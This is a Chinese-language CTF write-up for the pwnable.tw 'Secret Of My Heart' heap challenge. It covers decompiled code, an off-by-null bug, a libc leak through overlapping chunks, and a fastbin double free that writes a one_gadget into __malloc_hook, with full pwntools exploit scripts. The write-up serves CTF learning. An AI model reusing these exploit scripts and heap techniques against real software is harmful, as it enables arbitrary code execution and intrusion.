# Pwnable.tw-Secret Of My Heart > Author: 堇姬Naup ## libc glibc all in one 中沒有 2.23-0ubuntu5 所以去網路上找libc https://launchpad.net/ubuntu/xenial/amd64/libc6/2.23-0ubuntu5 把i386載下來 ``` dpkg -X libc6_2.23-0ubuntu5_amd64.deb . ``` 在libs裡面就有ld跟libc了 patchelf直接patch上去 ``` patchelf --set-interpreter ld-2.23.so secret_of_my_heart patchelf --replace-needed libc.so.6 ./libc-2.23.so secret_of_my_heart ``` ## IDA分析 ### main ### add+ADD ```c int add() { int i; // [rsp+4h] [rbp-Ch] unsigned __int64 size; // [rsp+8h] [rbp-8h] for ( i = 0; ; ++i ) { if ( i > 99 ) return puts("Fulled !!"); if ( !*(_QWORD *)(unk_202018 + 48LL * i + 40) ) break; } printf("Size of heart : "); size = (int)read_f(); if ( size > 0x100 ) return puts("Too big !"); ADD((size_t *)(unk_202018 + 48LL * i), size); return puts("Done !"); } ``` ```c _BYTE *__fastcall ADD(size_t *chunk, size_t size) { _BYTE *result; // rax *chunk = size; printf("Name of heart :"); read_F(chunk + 1, 0x20u); chunk[5] = (size_t)malloc(size); if ( !chunk[5] ) { puts("Allocate Error !"); exit(0); } printf("secret of my heart :"); result = (_BYTE *)(chunk[5] + (int)read_F((void *)chunk[5], size)); *result = 0; return result; } ``` 可以malloc 0x100內的size 先輸入name,再輸入heart(存在malloc heap中),這裡多補了個NULL byte,有off by null ``` pwndbg> x/30xg 0x5fd3388cb0d0 0x5fd3388cb0d0: 0x0000000065656565 0x0000000000000021 0x5fd3388cb0e0: 0x6262626261616161 0x6464646463636363 0x5fd3388cb0f0: 0x6666666665656565 0x0000000000020f00 ``` ### show ```c int show() { unsigned int idx; // [rsp+Ch] [rbp-4h] printf("Index :"); idx = read_f(); if ( idx > 0x63 ) { puts("Out of bound !"); exit(-2); } if ( !*(_QWORD *)(unk_202018 + 48LL * idx + 0x28) ) return puts("No such heap !"); printf("Index : %d\n", idx); printf("Size : %lu\n", *(_QWORD *)(unk_202018 + 48LL * idx)); printf("Name : %s\n", (const char *)(unk_202018 + 48LL * idx + 8)); return printf("Secret : %s\n", *(const char **)(unk_202018 + 48LL * idx + 40)); } ``` 他會顯示該chunk上的資訊 可以拿來leaklibc之類的感覺 ### delete + Delete ```c int delete() { unsigned int idx; // [rsp+Ch] [rbp-4h] printf("Index :"); idx = read_f(); if ( idx > 0x63 ) { puts("Out of bound !"); exit(-2); } if ( !*(_QWORD *)(unk_202018 + 48LL * idx + 40) ) return puts("No such heap !"); Delete(unk_202018 + 48LL * idx); return puts("Done !"); } ``` ```c __int64 __fastcall Delete(__int64 chunk) { __int64 result; // rax *(_QWORD *)chunk = 0LL; memset((void *)(chunk + 8), 0, 0x20uLL); free(*(void **)(chunk + 40)); result = chunk; *(_QWORD *)(chunk + 40) = 0LL; return result; } ``` 會去free對應的index,他會去清空heap arr,下次malloc就會拿到空的那塊重新寫chunk address,所以沒有double free ## 分析 有off by null就可以先打一些overlapping之類的了 不過在這之前先搞leak libc 可以打overlapping,讓一塊chunk活在free chunk中,那個位置是fd跟bk,這樣就可以拿到libc了 malloc 0x38 -> 拿到chunk0 0x40 malloc一塊0x100 -> 拿到chunk1 0x110 -> 之後會被蓋成0x100先預留prev size 再malloc一塊0x100 -> 拿到 chunk2 0x110 先free chunk 1 再free chunk 0 之後malloc chunk 0 並off by null蓋chunk 0 0x111為0x100 接下來 之後malloc 0x88 -> chunk 3 0x90 malloc 0x40 -> chunk 4 0x50 之後free掉0x88 free掉chunk 2 chunk 2 會去 merge前面一整塊 並進入到top chunk 但是卻存活著一塊chunk 4位於free之中 所以就malloc 0x80 -> chunk 5 malloc 0x100 -> chunk 6 多malloc一塊0x30,不然chunk 6會被丟到top chunk 剛剛好chunk 4 跟 chunk 6 fd 重疊 去free chunk 6後印出就會是libc 以上就是off by one製造overlapping來leak libc的過程 ```python from pwn import * from libs.NAUP_pwn_lib import * import time from libs.NAUP_filestructure_lib import * from libs.NAUP_fmt_lib import * def s(payload): return r.send(payload) def sl(payload): return r.sendline(payload) def sla(after, payload): return r.sendlineafter(after, payload) def sa(after, payload): return r.sendafter(after, payload) def rc(num): return r.recv(num) def rcl(): return r.recvline() def rcls(num): return r.recvlines(num) def rcu(payload): return r.recvuntil(payload) def ita(): return r.interactive() def cl(): return r.close() def tsl(): return time.sleep(0.2) x64_env() REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": r=process('./secret_of_my_heart') debug_init() else: REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) ### attach if input('attach?(y/n)') == 'y': p(r) ### heap I/O def add(size,name,secret): sla(b'Your choice :',b'1') sla(b'Size of heart : ',str(size).encode()) sla(b'Name of heart :',name) sla(b'secret of my heart :',secret) def show(idx): sla(b'Your choice :',b'2') sla(b'Index :',str(idx).encode()) def delete(idx): sla(b'Your choice :',b'3') sla(b'Index :',str(idx).encode()) ### exploit ### leaklibc add(0x38,b'000',b'aaa') add(0x100,b'111',b'a'*0xf0+p64(0x100)) add(0x100,b'222',b'aaa') delete(1) delete(0) add(0x38,b'000',b'a'*0x38) add(0x88,b'111',b'aaa') add(0x40,b'333',b'aaa') delete(1) delete(2) add(0x80,b'111',b'aaa') add(0x100,b'222',b'aaa') add(0x30,b'444',b'aaa') delete(2) show(3) rcu(b'Secret : ') leaklibc = u64(r.recv(6).ljust(8,b'\x00')) libcoffset = 0x3c4b78 libcbase = leaklibc - libcoffset NAUPINFO(b'leaklibc',hex(leaklibc)) NAUPINFO(b'libcbase',hex(libcbase)) ### interactive ita() ``` 接下來要製造任意寫,透過重疊來double free 來寫malloc_hook,觀察一下上方可以找到很多的7...,可以拿來做fake chunk ![image](https://hackmd.io/_uploads/HJUJL0e0C.png) 把前面留在free chunk 的overlapping chunk,調整成malloc 0x60(也就是chunk 4) 先 malloc 一塊 0x60 -> chunk 7 (與chunk 4 完全重疊) 接下來malloc一塊 0x60 -> chunk 8 這兩塊會從unsorted bin割出來 接下來free chunk 7 free chunk 8 再free chunk 4 就會有fastbin ``` fastbin[0x70] -> chunk 7 -> chunk 8 -> chunk 7 -> ... ``` 接下來malloc一塊0x60 將 secret改成fake chunk 再來malloc 兩次後 再malloc一次就可以拿到fake chunk 了 ```python from pwn import * from libs.NAUP_pwn_lib import * import time from libs.NAUP_filestructure_lib import * from libs.NAUP_fmt_lib import * def s(payload): return r.send(payload) def sl(payload): return r.sendline(payload) def sla(after, payload): return r.sendlineafter(after, payload) def sa(after, payload): return r.sendafter(after, payload) def rc(num): return r.recv(num) def rcl(): return r.recvline() def rcls(num): return r.recvlines(num) def rcu(payload): return r.recvuntil(payload) def ita(): return r.interactive() def cl(): return r.close() def tsl(): return time.sleep(0.2) x64_env() REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": r=process('./secret_of_my_heart') debug_init() else: REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) ### attach if input('attach?(y/n)') == 'y': p(r) ### heap I/O def add(size,name,secret): sla(b'Your choice :',b'1') sla(b'Size of heart : ',str(size).encode()) sla(b'Name of heart :',name) sla(b'secret of my heart :',secret) def show(idx): sla(b'Your choice :',b'2') sla(b'Index :',str(idx).encode()) def delete(idx): sla(b'Your choice :',b'3') sla(b'Index :',str(idx).encode()) ### exploit ### leaklibc add(0x38,b'000',b'aaa') add(0x100,b'111',b'a'*0xf0+p64(0x100)) add(0x100,b'222',b'aaa') delete(1) delete(0) add(0x38,b'000',b'a'*0x38) add(0x88,b'111',b'aaa') add(0x60,b'333',b'aaa') delete(1) delete(2) add(0x80,b'111',b'aaa') add(0x100,b'222',b'aaa') add(0x20,b'444',b'aaa') delete(2) show(3) rcu(b'Secret : ') leaklibc = u64(r.recv(6).ljust(8,b'\x00')) libcoffset = 0x3c4b78 libcbase = leaklibc - libcoffset ### aaw libc_mallochook = libcbase + 0x3c4b10 libc_onegadget = libcbase fake_chunk = libc_mallochook - 0x23 add(0x60,b'222',b'aaa') add(0x60,b'555',b'aaa') delete(2) delete(5) delete(3) # chunk 0 -> chunk 1 -> chunk 0 -> ... add(0x60,b'222',p64(fake_chunk)) # chunk 0 add(0x60,b'333',b'bbb') # chunk 1 add(0x60,b'555',b'bbb') # chunk 0 add(0x60,b'666',b'aaaaaaa') # malloc_hook - 0x23 ### INFO NAUPINFO(b'leaklibc',hex(leaklibc)) NAUPINFO(b'libcbase',hex(libcbase)) NAUPINFO(b'libc_MALLOCHOOK',hex(libc_mallochook)) ### interactive ita() ``` 這邊我們將malloc hook改成onegadget 然而直接malloc無法觸發onegadget條件 所以可以利用之前的方法 用 double free 來觸發malloc hook上的onegadget get shell ### exploit ```python= from pwn import * from libs.NAUP_pwn_lib import * import time from libs.NAUP_filestructure_lib import * from libs.NAUP_fmt_lib import * def s(payload): return r.send(payload) def sl(payload): return r.sendline(payload) def sla(after, payload): return r.sendlineafter(after, payload) def sa(after, payload): return r.sendafter(after, payload) def rc(num): return r.recv(num) def rcl(): return r.recvline() def rcls(num): return r.recvlines(num) def rcu(payload): return r.recvuntil(payload) def ita(): return r.interactive() def cl(): return r.close() def tsl(): return time.sleep(0.2) x64_env() REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": r=process('./secret_of_my_heart') debug_init() else: REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) ### attach if input('attach?(y/n)') == 'y': p(r) ### heap I/O def add(size,name,secret): sla(b'Your choice :',b'1') sla(b'Size of heart : ',str(size).encode()) sla(b'Name of heart :',name) sla(b'secret of my heart :',secret) def show(idx): sla(b'Your choice :',b'2') sla(b'Index :',str(idx).encode()) def delete(idx): sla(b'Your choice :',b'3') sla(b'Index :',str(idx).encode()) ### exploit ### leaklibc add(0x38,b'000',b'aaa') add(0x100,b'111',b'a'*0xf0+p64(0x100)) add(0x100,b'222',b'aaa') delete(1) delete(0) add(0x38,b'000',b'a'*0x38) add(0x88,b'111',b'aaa') add(0x60,b'333',b'aaa') delete(1) delete(2) add(0x80,b'111',b'aaa') add(0x100,b'222',b'aaa') add(0x20,b'444',b'aaa') delete(2) show(3) rcu(b'Secret : ') leaklibc = u64(r.recv(6).ljust(8,b'\x00')) libcoffset = 0x3c3b78 #0x3c4b78 libcbase = leaklibc - libcoffset print('***success leak libc***') ### aaw libc_mallochook = libcbase + 0x3c3b10 libc_onegadget = libcbase + 0xef6c4 fake_chunk = libc_mallochook - 0x23 add(0x60,b'222',b'aaa') add(0x60,b'555',b'aaa') delete(2) delete(5) delete(3) print('***success double free***') # chunk 0 -> chunk 1 -> chunk 0 -> ... add(0x60,b'222',p64(fake_chunk)) # chunk 0 add(0x60,b'333',b'bbb') # chunk 1 add(0x60,b'555',b'bbb') # chunk 0 add(0x60,b'777',b'a'*0x13+p64(libc_onegadget)) # malloc_hook - 0x23 print('***success write onegadget***') delete(5) delete(2) ### INFO NAUPINFO(b'leaklibc',hex(leaklibc)) NAUPINFO(b'libcbase',hex(libcbase)) NAUPINFO(b'libc_MALLOCHOOK',hex(libc_mallochook)) NAUPINFO(b'fakechunk',hex(fake_chunk)) NAUPINFO(b'onegadget',hex(libc_onegadget)) ### interactive ita() ``` ### 後記 終於2000分了 ![image](https://hackmd.io/_uploads/r1olNzbC0.png)